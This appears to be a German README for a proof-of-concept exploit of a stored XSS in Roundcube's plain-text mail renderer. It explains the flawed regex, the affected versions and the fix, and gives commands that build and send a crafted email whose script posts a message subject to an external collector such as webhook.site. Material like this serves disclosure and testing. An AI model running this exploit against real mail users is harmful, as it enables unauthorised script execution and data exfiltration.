
Konfigurierbarer Python-PoC für CVE-2026-54433, eine Stored-XSS im Klartext-E-Mail-Renderer von Roundcube. Erzeugt präparierte .eml-Dateien, sendet sie per SMTP und validiert die Auswirkungen in einer Docker-Lab-Umgebung.

Dieses Repository enthält einen konfigurierbaren Python-Proof-of-Concept für
CVE-2026-54433, eine gespeicherte Cross-Site-Scripting-Schwachstelle im
Klartext-E-Mail-Renderer von Roundcube. Ein nicht authentifizierter Absender
kann eine präparierte text/plain-Nachricht zustellen. Wenn ein
authentifizierter Roundcube-Benutzer diese Nachricht öffnet oder in der
Vorschau anzeigt, wird vom Angreifer kontrolliertes JavaScript im
Roundcube-Ursprung ausgeführt.
Der PoC demonstriert konkrete Auswirkungen auf authentifizierte Sitzungen, ohne Cookies oder Nachrichteninhalte zu sammeln: Er liest den Betreff einer älteren Nachricht und sendet diesen Wert zusammen mit dem Roundcube-Ursprung und dem Task-Namen als URL-kodierte POST-Felder an einen autorisierten Collector.
Warnung
Dies ist aktiver Exploit-Code. Verwenden Sie ihn nur in einem Labor, das Ihnen gehört, oder gegen ein System und ein Postfach, die Sie ausdrücklich testen dürfen. Der Sendemodus überträgt eine präparierte E-Mail und kann einen vorhandenen Betreff an den Collector weitergeben. Verwenden Sie
--generate-onlyfür die Offline-Inspektion.
Roundcube wandelt Adressen, die in Klartext-Nachrichten gefunden werden, in
anklickbare mailto:-Links um. In betroffenen Versionen wurde das optionale
Abfrage-Suffix mit \S+ abgeglichen:
. '(\?\S+)?'
Da \S auch < und > umfasst, konnte eine Zeichenkette, die wie eine
E-Mail-Adresse beginnt, dazu führen, dass die Auto-Link-Ersetzung ein
öffnendes HTML-Tag verschluckt, während der Rest als Markup interpretiert
wird. Diese Minimalform veranschaulicht den Grundbaustein:
[email protected]?]
Der Upstream-Fix schränkt das Abfrage-Suffix so ein, dass es keine Winkelklammern oder Leerzeichen enthalten kann:
. '(\?[^<>\s]+)?'
Der Hersteller beschreibt das Problem als „Zero-Click“, da kein Klick auf einen Link erforderlich ist. Das Öffnen oder die Vorschau der E-Mail während einer authentifizierten Sitzung ist weiterhin die Mail-Client-Aktion, die die Payload rendert.
| Release-Linie | Status |
|---|---|
| Roundcube-Versionen vor 1.6.17 | Betroffen |
| Roundcube 1.6.17 und spätere 1.6.x | Behoben |
| Roundcube 1.7.0 und 1.7.1 | Betroffen |
| Roundcube 1.7.2 und spätere | Behoben |
Die öffentlichen Fix-Commits sind:
5477e979aae0317e111564bfc9971ba7707cc1654c278f4868c67b163567cae3d74e58d872913459Führen Sie ein Upgrade auf Roundcube 1.6.17 / 1.7.2 oder eine neuere unterstützte Version durch.
text/plain
gerendert werden.src, um onerror auszulösen. Ein
Collector-Callback erfordert weiterhin Netzwerkerreichbarkeit des Browsers.HttpOnly. Dieser PoC
versucht nicht, es zu lesen. Seine Same-Origin-Anfrage verwendet automatisch
die authentifizierte Sitzung, und der Betreff der separaten Nachricht ist der
Beweis für die Auswirkung.Das demonstrierte Ergebnis ist die Ausführung von JavaScript in einer authentifizierten Sitzung und der Lesezugriff auf den Betreff einer früheren E-Mail. Kontenübernahme, Diebstahl beliebiger Nachrichteninhalte und serverseitige Codeausführung werden in diesem Repository nicht beansprucht.
cve-2026-54433-poc.py ist eigenständig und verwendet nur die
Python-Standardbibliothek. Das Skript:
text/plain-E-Mail;CVE-2026-54433
beginnt;subject, origin und task per POST an /capture/<random-marker>;Die Payload fügt den folgenden DOM-Kommentar ein:
<!-- This is a BugBounty test; only one subject is copied as evidence -->
Sie blendet außerdem den automatisch verlinkten Adressfragment und den Indikator für defekte Bilder aus, während sie den vom Aufrufer bereitgestellten harmlosen Nachrichtentext anzeigt.
Generieren Sie die E-Mail, ohne eine Netzwerkverbindung herzustellen:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector https://collector.example.test \
--generate-only
Dies erzeugt:
cve-2026-54433-trigger.emlcve-2026-54433-evidence.jsonÜberprüfen Sie die erzeugte Nachricht, bevor Sie den Sendemodus verwenden.
Der Wert von --collector kann eine Webhook.site-UUID, eine Capture-URL oder
eine #!/view/-URL sein. Das Skript leitet daraus die Capture- und
Polling-Endpunkte ab.
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
--smtp-host smtp.example.com \
--smtp-port 587 \
--smtp-security starttls \
--smtp-user [email protected]
Falls SMTP_PASSWORD nicht gesetzt ist, fragt das Skript nach dem Passwort,
ohne es auszugeben oder zu speichern. Eine anders benannte Variable kann mit
--smtp-password-env NAME ausgewählt werden. Vermeiden Sie --smtp-password
auf Systemen mit mehreren Benutzern, da Befehlszeilenargumente in
Prozesslisten oder der Shell-Historie sichtbar sein können.
Das Skript verlangt vor dem Senden eine ausdrückliche YES-Eingabe. In
nicht-interaktiver, bereits autorisierter Laborautomatisierung übergeben Sie
--yes. Standardmäßig wartet es bis zu 24 Stunden auf einen Callback; ändern
Sie dies mit --timeout SECONDS.
Für einen Collector, der nicht Webhook.site ist, übergeben Sie die Basis-Capture-URL und optional den JSON-Status-Endpunkt:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Authorized XSS test' \
--collector https://collector.example.test \
--poll-url https://collector.example.test/status \
--smtp-host mail.example.test \
--smtp-security starttls